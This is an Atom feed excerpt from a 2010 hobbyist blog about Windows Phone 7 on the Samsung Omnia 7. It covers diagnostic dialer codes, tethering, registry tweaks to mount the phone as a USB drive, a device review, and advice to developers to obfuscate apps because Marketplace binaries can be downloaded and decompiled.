src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-6048742272639451527</id><published>2010-12-24T23:41:00.002+01:00</published><updated>2011-01-13T13:48:23.838+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows phone 7'/><title type='text'>Windows Phone 7 hacks, all the diagnosis codes you need, Part 1</title><content type='html'>Lately I have been working on some hacks for the Windows Phone 7, and was interested especially in the Samsung diagnosis app that uses different codes to debug their devices.&lt;br /&gt;I’ve succeeded to extract more than 60 codes that I will show in this post and the next one, and their basic functionality/use in the diagnosis app.&lt;br /&gt;The following codes were tested on a real Samsung Omnia 7, I’ll be happy if you can confirm their use on other devices as well.&lt;br /&gt;To enter the diagnosis app, type &lt;strong&gt;##634#&lt;/strong&gt; and press call, the application should now be placed on the list of apps.&lt;br /&gt;&lt;table border="0" cellpadding="2" cellspacing="0" style="width: 400px;"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#80#&lt;/td&gt; &lt;td valign="top" width="321"&gt;Touch Debug stuff&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#526#&lt;/td&gt; &lt;td valign="top" width="321"&gt;Wifi factory test&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#745#&lt;/td&gt; &lt;td valign="top" width="321"&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#780#&lt;/td&gt; &lt;td valign="top" width="321"&gt;SR test&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#1111#&lt;/td&gt; &lt;td valign="top" width="321"&gt;FTA SW version&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#1234#&lt;/td&gt; &lt;td valign="top" width="321"&gt;WIFI / Bluetooth mac&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#1575#&lt;/td&gt; &lt;td valign="top" width="321"&gt;Gps test mode&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;&lt;span style="color: red;"&gt;*#1793#&lt;/span&gt;&lt;/td&gt; &lt;td valign="top" width="321"&gt;&lt;span style="color: red;"&gt;Micro usb / sync / modem / tethering&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#2222#&lt;/td&gt; &lt;td valign="top" width="321"&gt;FTA HW version&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#2263#&lt;/td&gt; &lt;td valign="top" width="321"&gt;WCDMA, GSM band&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;&lt;span style="color: red;"&gt;*#2470#&lt;/span&gt;&lt;/td&gt; &lt;td valign="top" width="321"&gt;&lt;span style="color: red;"&gt;Camera FWUpdate&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#2580#&lt;/td&gt; &lt;td valign="top" width="321"&gt;Integrity control&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#2663#&lt;/td&gt; &lt;td valign="top" width="321"&gt;Touch Screen Version&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;&lt;span style="color: red;"&gt;*#7284#&lt;/span&gt;&lt;/td&gt; &lt;td valign="top" width="321"&gt;&lt;span style="color: red;"&gt;Micro USB Test&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#7298#&lt;/td&gt; &lt;td valign="top" width="321"&gt;GPRS settings, auto pwr on/off&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;&lt;span style="color: red;"&gt;*#7353#&lt;/span&gt;&lt;/td&gt; &lt;td valign="top" width="321"&gt;&lt;span style="color: red;"&gt;Self Diagnosis tool&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#7450#&lt;/td&gt; &lt;td valign="top" width="321"&gt;Error report Off&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#7451#&lt;/td&gt; &lt;td valign="top" width="321"&gt;Error report on&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#9090#&lt;/td&gt; &lt;td valign="top" width="321"&gt;USB Diag / DBG msg on/off&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#9900#&lt;/td&gt; &lt;td valign="top" width="321"&gt;Debug Dump&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#9906#&lt;/td&gt; &lt;td valign="top" width="321"&gt;Debug Dump + Ril log&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#770#&lt;/td&gt; &lt;td valign="top" width="321"&gt;Vphone tests 0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#771#&lt;/td&gt; &lt;td valign="top" width="321"&gt;=&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#772#&lt;/td&gt; &lt;td valign="top" width="321"&gt;=&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#773#&lt;/td&gt; &lt;td valign="top" width="321"&gt;=&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#774#&lt;/td&gt; &lt;td valign="top" width="321"&gt;=&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#775#&lt;/td&gt; &lt;td valign="top" width="321"&gt;=&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#776#&lt;/td&gt; &lt;td valign="top" width="321"&gt;=&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#777#&lt;/td&gt; &lt;td valign="top" width="321"&gt;=&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#778#&lt;/td&gt; &lt;td valign="top" width="321"&gt;=&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td valign="top" width="79"&gt;*#779#&lt;/td&gt; &lt;td valign="top" width="321"&gt;Vphone tests 9&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;a href="http://lh6.ggpht.com/_MIqc395dv38/TRUikpPOIbI/AAAAAAAACjQ/y_q_vdI52mM/s1600-h/Images-0035%5B4%5D.jpg"&gt;&lt;img alt="Images-0035" border="0" height="215" src="http://lh3.ggpht.com/_MIqc395dv38/TRUilZ-4xAI/AAAAAAAACjU/wYcUkSJP9tQ/Images-0035_thumb%5B2%5D.jpg?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="Images-0035" width="270" /&gt;&lt;/a&gt;&lt;a href="http://lh5.ggpht.com/_MIqc395dv38/TRUil6hkS-I/AAAAAAAACjY/c-m2Syt9pSo/s1600-h/Images-0041%5B3%5D.jpg"&gt;&lt;img alt="Images-0041" border="0" height="214" src="http://lh6.ggpht.com/_MIqc395dv38/TRUimweJpsI/AAAAAAAACjc/eBjhcWEYrn4/Images-0041_thumb%5B1%5D.jpg?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="Images-0041" width="276" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-6048742272639451527?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/6048742272639451527/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/12/windows-7-hacks-all-diagnosis-codes-you.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/6048742272639451527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/6048742272639451527'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/12/windows-7-hacks-all-diagnosis-codes-you.html' title='Windows Phone 7 hacks, all the diagnosis codes you need, Part 1'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_MIqc395dv38/TRUilZ-4xAI/AAAAAAAACjU/wYcUkSJP9tQ/s72-c/Images-0035_thumb%5B2%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-8013942319658071426</id><published>2010-12-21T01:08:00.001+01:00</published><updated>2010-12-21T01:16:53.392+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows phone 7'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuscation'/><category scheme='http://www.blogger.com/atom/ns#' term='reflector'/><title type='text'>Windows Phone 7: why you should obfuscate your code</title><content type='html'>&lt;p&gt;A while back Microsoft sent some warning emails to the registered Windows Phone 7 developers about the threats their apps might face once published on the Marketplace. The apps on the Marketplace are available for download without any authentication required. What you need to get an app is simply the direct link to the .xap file, something of the form &lt;a title="http://apps.marketplace.windowsphone.com/889DFBD5-E7F5-4968-B639-7C6C35E03E2D/CurrentBinary.xap" href="#"&gt;http://apps.marketplace.windowsphone.com/app-guid-here/CurrentBinary.xap&lt;/a&gt;, which contains the DLL that can be disassembled very easily with Reflector for example. More info &lt;a href="http://www.wpcentral.com/windows-phone-7-marketplace-bug" target="_blank"&gt;here&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Here’s an excerpt from the email :&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&lt;em&gt;&lt;font size="2"&gt;It is important to note that because of the leak containment steps Microsoft takes applications obtained outside of Marketplace will not run on consumer retail devices. Modified files would only run on a limited number of “unlocked” phones, such as those that have been registered by Marketplace developers on App Hub….&lt;/font&gt;&lt;/em&gt;&lt;/p&gt; &lt;p&gt;&lt;em&gt;&lt;font size="2"&gt;One powerful tool for protecting your apps and games is code obfuscation, which is a long standing best practice for managed code. Obfuscation is available tools like the &lt;/font&gt;&lt;/em&gt;&lt;a href="http://click.email.microsoftemail.com/?qs=8d2a22dab22ca5cf2d231940b939d1da5f210e8c61df4cf5abaec770e5a779f7ad0b0d1ed343785f"&gt;&lt;em&gt;&lt;font size="2"&gt;Dotfuscator product&lt;/font&gt;&lt;/em&gt;&lt;/a&gt;&lt;em&gt;&lt;font size="2"&gt; recently announced for Windows Phone 7 applications. Microsoft has partnered with PreEmptive Solutions to make this tool, as well as a robust application analytics solution, available to Windows Phone developers for free through March 31st, 2011.&lt;/font&gt;&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;Right now, it seems that the only option to protect your app, is to use a code obfuscator, since anyone is allowed to download it from Microsoft servers without any restriction, whether they are using a real Windows Phone 7 or they are sniffing the traffic made by the Zune software (yes, I’m not going to tell you how to do it! you need to figure it out yourself).&lt;/p&gt; &lt;p&gt;For demonstration purposes, here is what Reflector shows when applied on an obfuscated DLL and on a non obfuscated one:&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_MIqc395dv38/TQ_xm2LIVoI/AAAAAAAACjA/QwtgpHLpnsY/s1600-h/obfuscated%5B7%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="obfuscated" border="0" alt="obfuscated" src="http://lh3.ggpht.com/_MIqc395dv38/TQ_xoHpv2aI/AAAAAAAACjE/lIsZkyNw2f4/obfuscated_thumb%5B3%5D.png?imgmax=800" width="301" height="201"&gt;&lt;/a&gt;&lt;a href="http://lh3.ggpht.com/_MIqc395dv38/TQ_xo938o7I/AAAAAAAACjI/VPQHgl7HXNQ/s1600-h/obfuscated1%5B9%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="obfuscated1" border="0" alt="obfuscated1" src="http://lh4.ggpht.com/_MIqc395dv38/TQ_xphpOoZI/AAAAAAAACjM/VP_wQrY8rYg/obfuscated1_thumb%5B5%5D.png?imgmax=800" width="288" height="198"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;strong&gt;1. Obfuscated&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_MIqc395dv38/TQ_v3QveD9I/AAAAAAAACio/WjGc65UdX4U/s1600-h/clear%5B3%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px; padding-top: 0px" title="clear" border="0" alt="clear" src="http://lh3.ggpht.com/_MIqc395dv38/TQ_v4eEKitI/AAAAAAAACis/lqjBmRF2DyE/clear_thumb%5B1%5D.png?imgmax=800" width="586" height="322"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;strong&gt;2. Clear&lt;/strong&gt;&lt;/p&gt; &lt;p align="left"&gt;As you can see, on the obfuscated version, Reflector shows either a message saying that the code was obfuscated and it cannot be disassembled, or a bunch of unreadable variable names with a lot of “&lt;a href="http://en.wikipedia.org/wiki/Goto" target="_blank"&gt;goto&lt;/a&gt;” instructions.&lt;/p&gt; &lt;p align="left"&gt;On the other hand, the non obfuscated version is disassembled to (almost) the original source code, only the comments are missing.&lt;/p&gt; &lt;p align="left"&gt;Last word, if you are developing anything for Windows Phone 7, do not forget to obfuscate your code before publishing your app on the market.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-8013942319658071426?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/8013942319658071426/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/12/windows-phone-7-why-you-should.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/8013942319658071426'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/8013942319658071426'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/12/windows-phone-7-why-you-should.html' title='Windows Phone 7: why you should obfuscate your code'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_MIqc395dv38/TQ_xoHpv2aI/AAAAAAAACjE/lIsZkyNw2f4/s72-c/obfuscated_thumb%5B3%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-5609292740750574473</id><published>2010-11-18T23:41:00.001+01:00</published><updated>2010-11-18T23:49:06.042+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows phone 7'/><category scheme='http://www.blogger.com/atom/ns#' term='Samsung omnia 7'/><title type='text'>Windows Phone 7 Hacks : the start…</title><content type='html'>&lt;p&gt;So Windows Phone 7 haven’t been out for a long time and we have already started to see some hacks from around the web. In this post series, I’ll list the hacks and tips &lt;em&gt;that I test myself&lt;/em&gt; on my Samsung Omnia 7. As a result I won’t be held responsible for you screwing anything up with your machine.&lt;/p&gt; &lt;h3&gt;Diagnosis mode:&lt;/h3&gt; &lt;p&gt;Diagnosis mode on Windows Phone 7 seems to be a way WP7 creators used to test the devices, fortunately, it is also used to enable and disable features on the phone, here is how to activate it:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;type &lt;strong&gt;##634#&lt;/strong&gt; and press call, the diagnosis app should now be added to your applications  &lt;li&gt;there are a lot of diagnosis codes that you can try, for instance :  &lt;ul&gt; &lt;li&gt;&lt;strong&gt;*#03#&lt;/strong&gt; will get you to the SMDInfo  &lt;li&gt;&lt;strong&gt;*#05#&lt;/strong&gt; will give you a very rich interface for testing capabilities, including Vibration, keys, Camera, TSP, Acceleration, Battery, Proximity, Loopback and Light  &lt;li&gt;&lt;strong&gt;*#1234#&lt;/strong&gt; will show a lot of information including the Wifi Mac address and the Bluetooth Mac address  &lt;li&gt;&lt;strong&gt;*#06#&lt;/strong&gt; shows the IMEI number  &lt;li&gt;&lt;strong&gt;*#2222#&lt;/strong&gt; some debugging stuff that I couldn’t figure out.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h3&gt;&amp;nbsp;&lt;/h3&gt; &lt;h3&gt;Enable tethering mode :&lt;/h3&gt; &lt;p&gt;By going to the Diagnosis mode showed in the previous section, and typing &lt;strong&gt;*#7284#&lt;/strong&gt; you will get the choice to change the connection to the PC from Zune sync, to Modem Tethered Call or Modem Usb Diag, more coverage about tethering &lt;a href="http://www.engadget.com/2010/11/11/windows-phone-7-usb-tethering-uncovered-on-samsung-phones/" target="_blank"&gt;here&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;You need to note that using the device as a modem will enable you to connect your PC to internet using the phone’s network, I couldn’t reach this in France, since the dial-p numbers for SFR don’t seem to work for me (&lt;strong&gt;*#9#&lt;/strong&gt; or &lt;strong&gt;*#9***1#&lt;/strong&gt;).&lt;/p&gt; &lt;p&gt;Also, on Windows 7 x64, the phone won’t be detected, I suspect that the drivers are not signed and Windows reject them, hence you need to try the above method on a 32bit Windows.&lt;/p&gt; &lt;p&gt;Here is a screenshot for Samsung Omnia 7 installed as a modem on a Vista x86.&lt;/p&gt; &lt;h3&gt;&lt;a href="http://lh4.ggpht.com/_MIqc395dv38/TOWrfNLqcYI/AAAAAAAACeQ/D2HPnCVpOfE/s1600-h/wp7-2%5B5%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="wp7-2" border="0" alt="wp7-2" src="http://lh4.ggpht.com/_MIqc395dv38/TOWrgKtmz4I/AAAAAAAACeU/uhm61S4JC_o/wp7-2_thumb%5B3%5D.png?imgmax=800" width="272" height="289"&gt;&lt;/a&gt;&lt;a href="http://lh4.ggpht.com/_MIqc395dv38/TOWrgnN0SjI/AAAAAAAACeY/OXJKmzMfB7Q/s1600-h/wp7-3%5B5%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="wp7-3" border="0" alt="wp7-3" src="http://lh6.ggpht.com/_MIqc395dv38/TOWrhVZjLrI/AAAAAAAACec/faO6JOSX7ck/wp7-3_thumb%5B3%5D.png?imgmax=800" width="316" height="173"&gt;&lt;/a&gt;&lt;/h3&gt; &lt;h3&gt;&amp;nbsp;&lt;/h3&gt; &lt;h3&gt;SD-Cards, are they seriously dead once put on a WP7 phone?&lt;/h3&gt; &lt;p&gt;There have been a lot of talking about this one, and how magically Windows Phone 7 locks sd-cards so they become unreadable and cannot be formatted on any other machine.&lt;/p&gt; &lt;p&gt;It turns out that Symbian devices can actually format WP7 sd-cards, so if you got a nokia, you are clear, all your sd-cards are useful again, &lt;a href="http://forum.xda-developers.com/showthread.php?t=840524" target="_blank"&gt;more on the topic here&lt;/a&gt;.&lt;/p&gt; &lt;h3&gt;&amp;nbsp;&lt;/h3&gt; &lt;h3&gt;WP7 already rooted, jailbreaked?&lt;/h3&gt; &lt;p&gt;It seems it will happen soon, some developers out there are claiming access to the wp7 filesystem, let’s hope it will happen soon, &lt;a href="http://blog.walshie.me/2010/11/15/windows-phone-7-full-file-system-access-anyone/" target="_blank"&gt;more here&lt;/a&gt;.&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:47eb108d-96fe-4d30-9262-168c6038f0df"&gt;&lt;EMBED height="385" type="application/x-shockwave-flash" width="480" src="http://www.youtube.com/v/UGr5bEgCZrE?hd=1" wmode="transparent"&gt;&lt;/EMBED&gt;  &lt;div style="width: 480px; clear: both; font-size: 0.8em" class="wlEditField" maxcharactersaccepted="245" defaulttext="Entrez la l&amp;eacute;gende de la vid&amp;eacute;o ici" wlpropertypath="Video.caption"&gt;Windows Phone 7 filesystem access&lt;/div&gt;&lt;/div&gt; &lt;h3&gt;&amp;nbsp;&lt;/h3&gt; &lt;h3&gt;Source code of apps on the Marketplace:&lt;/h3&gt; &lt;p&gt;A very strange but true fact about wp7 and the Zune software, is that, when you use Zune to download apps from the Marketplace, you can sniff the traffic sent and returned to Zune to intercept the url of the application xap (a zip file containing binaries and resources of the app).&lt;/p&gt; &lt;p&gt;Once, this xap is downloaded (yeah, MS servers just give you the app happily without any authentication or anything), the DLLs could be disassembled to retrieve the original source code, using a tool such as &lt;strong&gt;.NET Reflector&lt;/strong&gt; for example.&lt;/p&gt; &lt;p&gt;This is a sample of a url of an app from the Marketplace &lt;a href="#"&gt;http://apps.marketplace.windowsphone.com/****id-here****/CurrentBinary.xap&lt;/a&gt;&lt;/p&gt; &lt;p&gt;More details will be discussed about this specific topic, from how to sniff packets till full disassembly (&lt;strong&gt;it is legal isn’t it?&lt;/strong&gt;)&lt;/p&gt; &lt;h3&gt;&amp;nbsp;&lt;/h3&gt; &lt;h3&gt;Mount a wp7 device as a USB drive:&lt;/h3&gt; &lt;p&gt;Today, a small hack showed that wp7 can be mounted as a normal usb drive, &lt;strike&gt;but unfortunately, you can only copy files *from* wp7, I tried to copy files to wp7 including music and pictures, but it didn’t work, you can’t also create new directories neither&lt;/strike&gt;.&lt;/p&gt; &lt;p&gt;Well, now it seems I am able to copy files into the phone :D. &lt;strong&gt;No, no, it is back, I cannot copy files into the phone, need more investigation it seems.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;For how to make wp7 behaves as a USB drive, here is how&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Open &lt;strong&gt;regedit&lt;/strong&gt;, and locate HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB then search for ZuneDriver  &lt;li&gt;Change ShowInShell from 0 to 1  &lt;li&gt;Change PortableDeviceNameSpaceExcludeFromShell from 1 to 0  &lt;li&gt;Change EnableLegacySupport from 0 to 1&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Voila! just close that cursed Zune thing and the phone will show up as a USB driver as showed in the following pictures.&lt;/p&gt; &lt;p&gt;If you need assistance with pictures (!!) &lt;a href="http://wpcentral.com/how-turn-your-windows-phone-7-device-usb-drive" target="_blank"&gt;here’s a detailed post&lt;/a&gt; about it.&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_MIqc395dv38/TOWrjAWPxRI/AAAAAAAACeg/wsnHPl1dAHo/s1600-h/wp7%5B3%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto; padding-top: 0px" title="wp7" border="0" alt="wp7" src="http://lh6.ggpht.com/_MIqc395dv38/TOWrkFQUUXI/AAAAAAAACek/mLX6dcO0Y1k/wp7_thumb%5B1%5D.png?imgmax=800" width="463" height="335"&gt;&lt;/a&gt;&lt;a href="http://lh5.ggpht.com/_MIqc395dv38/TOWrk8acmxI/AAAAAAAACeo/iOICQ7Xd5dU/s1600-h/wp7-1%5B3%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto; padding-top: 0px" title="wp7-1" border="0" alt="wp7-1" src="http://lh3.ggpht.com/_MIqc395dv38/TOWrl8SWqGI/AAAAAAAACes/DEMQWmT0_IE/wp7-1_thumb%5B1%5D.png?imgmax=800" width="451" height="365"&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-5609292740750574473?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/5609292740750574473/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/11/windows-phone-7-hacks-start.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/5609292740750574473'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/5609292740750574473'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/11/windows-phone-7-hacks-start.html' title='Windows Phone 7 Hacks : the start…'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_MIqc395dv38/TOWrgKtmz4I/AAAAAAAACeU/uhm61S4JC_o/s72-c/wp7-2_thumb%5B3%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-4785517536948659914</id><published>2010-11-13T03:35:00.001+01:00</published><updated>2010-11-13T03:36:45.197+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows phone 7'/><category scheme='http://www.blogger.com/atom/ns#' term='Samsung omnia 7'/><title type='text'>Windows Phone 7 : hands on (Samsung Omnia 7)</title><content type='html'>&lt;p&gt;It has been almost a week I am trying a new device, the Samsung Omnia 7, which runs the new Microsoft’s OS Windows Phone 7. It took me a lot of time to get one after the very &lt;a href="http://www.clubic.com/smartphone/windows-phone-7/actualite-375006-windows-phone-7-france-retard-stocks.html" target="_blank"&gt;chaotic launch&lt;/a&gt; of the new OS in France, but well, finally I’ve got one.&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_MIqc395dv38/TN35Mui6RyI/AAAAAAAACdg/LUo7kgivf08/s1600-h/DSC00487%5B10%5D.jpg"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; margin: ; padding-left: 0px; padding-right: 0px; display: block; float: none; border-top: 0px; border-right: 0px; padding-top: 0px" title="DSC00487" border="0" alt="DSC00487" src="http://lh4.ggpht.com/_MIqc395dv38/TN35NUu9U5I/AAAAAAAACdk/MtubSJ-2r4A/DSC00487_thumb%5B4%5D.jpg?imgmax=800" width="460" height="365"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;In this post, and the ones that will follow, I’ll describe my experience with the new OS (the device too), so if you are looking for a technical review of the OS, here’s &lt;a href="http://arstechnica.com/microsoft/reviews/2010/10/windows-phone-7-the-ars-review.ars" target="_blank"&gt;an exhaustive review&lt;/a&gt; from ars technica.&lt;/p&gt; &lt;h3&gt;The OS&lt;/h3&gt; &lt;p&gt;Talking about the OS itself, there are things I love about it, things I like, and stuff I hated already. The look ‘n’ feel of the Windows Phone 7 UI is great, I like so much the minimalistic design, no round boxes, no shadows etc, just different sizes of text to differentiate the title of a page from its content for example.&lt;/p&gt; &lt;p&gt;&lt;img style="margin: ; display: block; float: none" src="http://images.thoughtsmedia.com/resizer/thumbs/size/600/wpt/auto/1286899813.usr1.jpg" width="431" height="311"&gt;&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_MIqc395dv38/TN35PLWOVFI/AAAAAAAACdo/8onE1xRvQXo/s1600-h/DSC00520%5B4%5D.jpg"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; margin: ; padding-left: 0px; padding-right: 0px; display: inline; float: ; border-top: 0px; border-right: 0px; padding-top: 0px" title="DSC00520" border="0" alt="DSC00520" src="http://lh6.ggpht.com/_MIqc395dv38/TN35PuvWEtI/AAAAAAAACds/ROaCEjOL12s/DSC00520_thumb%5B1%5D.jpg?imgmax=800" width="238" 